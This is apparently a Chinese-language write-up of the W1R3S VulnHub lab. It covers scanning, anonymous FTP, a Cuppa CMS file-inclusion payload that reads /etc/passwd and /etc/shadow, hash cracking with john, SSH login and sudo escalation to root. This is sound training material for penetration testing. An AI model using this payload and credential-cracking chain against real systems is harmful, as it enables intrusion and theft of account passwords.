准备
攻击机:kali,win11
靶机: W1R3S:1.0.1 NAT
下载链接:
https://www.vulnhub.com/entry/w1r3s-101,220/
主机发现
nmap 192.168.52.0/24 -sn
- -sn 只做ping扫描,用于主机发现可节约时间
如图所示得到目标靶机的IP地址:192.168.52.145
端口扫描
nmap 192.168.52.145 -sC -sV -p- -T4
└─# nmap 192.168.52.145 -sC -sV -p- -T4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-16 15:35 CST
Nmap scan report for 192.168.52.145
Host is up (0.00098s latency).
Not shown: 55528 filtered tcp ports (no-response), 10003 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.52.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
3306/tcp open mysql MySQL (unauthorized)
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.21 seconds
可以看到开放了 21,22,80,3306 四个端口,其中21为FTP可以匿名登录(状态码为230)且有三个目录;80端口为apache默认目录。
FTP
可在windows的资源管理器输入: ftp://192.168.52.145即可
查看三个目录,看是否有可用信息
在content目中存在3个txt文件,其中第二个显示:
#
#
#
#
#
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
#
#
#
#
#
#
#
#
#
#
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
很明显一个md5一个base64加密,将其解密
md5解密得到密码:
This[空格]is[空格]not[空格]a[空格]password
继续看其它文件
docs/worktodo.txt
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
翻转了的文字,可以破译开:
I don't this is the way to root!
we have a lot of work to do、stop playing around....
new-employees/employee-names.txt
The W1R3S.inc employee list
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
给出了员工表和前面的This[空格]is[空格]not[空格]a[空格]password 可以尝试ssh登录,当尝试使用Manager: Naomi.W 登陆时,密码虽然不对,但是显示出了一些信息。
如图所示输出了红框的内容,尝试用另外几个员工的名称登录。尝试后无果。
HTTP
在前面的nmap扫描结果已经指导了80端口首页是apache的默认页面,没有可用价值,但是仍然可以考虑目录扫描
python3 dirsearch.py -u http://192.168.52.145/
![][img8]
如图所示:有一个 administrator 目录 和 wordpress目录,查看他们
http://192.168.52.145/administrator/installation/
![][img9]
可以看到是一个CMS的安装界面,此时就可以尝试是否能重装一遍即:重装漏洞。点击Next
![][img10]
发现需要数据库的密码,但是我们并不知道,不出所料重装失败
![][img11]
重装之路不通,换wordpress这条路。
http://192.168.52.145/wordpress/wp-login.php
![][img12]
尝试用前面的用户名和密码登录试试。
发现点击登陆后跳转到了localhost,那肯定不对啊
![][img13]
此路似乎也不通,这时突然想起来了,administrator 页面的标题为: Cuppa CMS ,可以尝试去搜索这个内容管理系统的漏洞看能不能行。
searchsploit cuppa
![][img14]
如图所示:只有一条返回结果且没有可直接利用的攻击脚本,但不妨查看txt文档,将其拷贝到当前目录中便于查看。
searchsploit -m php/webapps/25971.txt
![][img15]
拷贝完成,查看文档吧。
![][img16]
第一行就能发现这是一个文件包含漏洞。看来有戏了,继续看文档。
读文档发现,是在 /alerts/alertConfigField.php 文件中的第22行有一个urlConfig参数可以导致文件包含。说到文件包含也不难想到PHP伪协议。
<?php include($_REQUEST["urlConfig"]); ?>
![][img17]
如图所示:就是该文件包含漏洞的利用方式。带入到网站中去。
最终发现,在 administrator目录后面输入读取的路径:/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd 有页面显示:
http://192.168.52.145/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd
![][img18]
可见有页面显示了,只是没有显示/etc/passwd文件。测试后发现需要POST提交参数才能包含文件。
![][img19]
如图所示成功读取了/etc/passwd,并且只有root 和 w1r3s 这两个用户能登录。继续尝试读取文件看能否读取/etc/shadow
![][img20]
运气很好能读取到。将结果保存到txt中,然后在kali 运行john 看能否破解出root,www-data,w1r3s的登录密码。
john hash.txt
![][img21]
如图所示:破解出了密码,一般来讲www-data直接排除,那么 W1r3s的密码就是computer了,现在可以尝试ssh登录了。
![][img22]
成功登录。接下来尝试提权了。
提权
使用MobaXterm登录就会看到系统信息:
- Ubuntu 16.04.3 LTS
- GNU/Linux 4.13.0-36-generic x86_64
这和使用 uname -a 和 lsb_release -a 命令查看是一样的结果的。
sudo -l 尝试是否有sudo权限发现显示: (ALL : ALL) ALL 那么可以直接提权(切换)到root用户。
sudo -i 即可通过当前登录的用户切换到root中。
![][img23]
flag
cat flag.txt
root@W1R3S:~# cat flag.txt
-----------------------------------------------------------------------------------------
____ ___ _ _ ____ ____ _ _____ _ _ _ _ _____ ___ ___ _ _ ____
/ ___/ _ \| \ | |/ ___| _ \ / \|_ _| | | | | / \|_ _|_ _/ _ \| \ | / ___|
| | | | | | \| | | _| |_) | / _ \ | | | | | | | / _ \ | | | | | | | \| \___ \
| |__| |_| | |\ | |_| | _ < / ___ \| | | |_| | |___ / ___ \| | | | |_| | |\ |___) |
\____\___/|_| \_|\____|_| \_\/_/ \_\_| \___/|_____/_/ \_\_| |___\___/|_| \_|____/
-----------------------------------------------------------------------------------------
.-----------------TTTT_-----_______
/''''''''''(______O] ----------____ \______/]_
__...---'"""\_ --'' Q ___________@
|''' ._ _______________=---------"""""""
| ..--''| l L |_l |
| ..--'' . /-___j ' '
| ..--'' / , ' '
|--'' / ` \
L__' \ -
- '-.
'. /
'-./
----------------------------------------------------------------------------------------
YOU HAVE COMPLETED THE
__ __ ______________________ _________
/ \ / \/_ \______ \_____ \ / _____/
\ \/\/ / | || _/ _(__ < \_____ \
\ / | || | \/ \/ \
\__/\ / |___||____|_ /______ /_______ /.INC
\/ \/ \/ \/ CHALLENGE, V 1.0
----------------------------------------------------------------------------------------
CREATED BY SpecterWires
----------------------------------------------------------------------------------------
至此渗透完成。
总结
- ftp匿名登录。
- Cuppa CMS 存在文件包含漏洞。
- /etc/passwd 和 /etc/shadow 的利用
- /etc/shadow 可破解。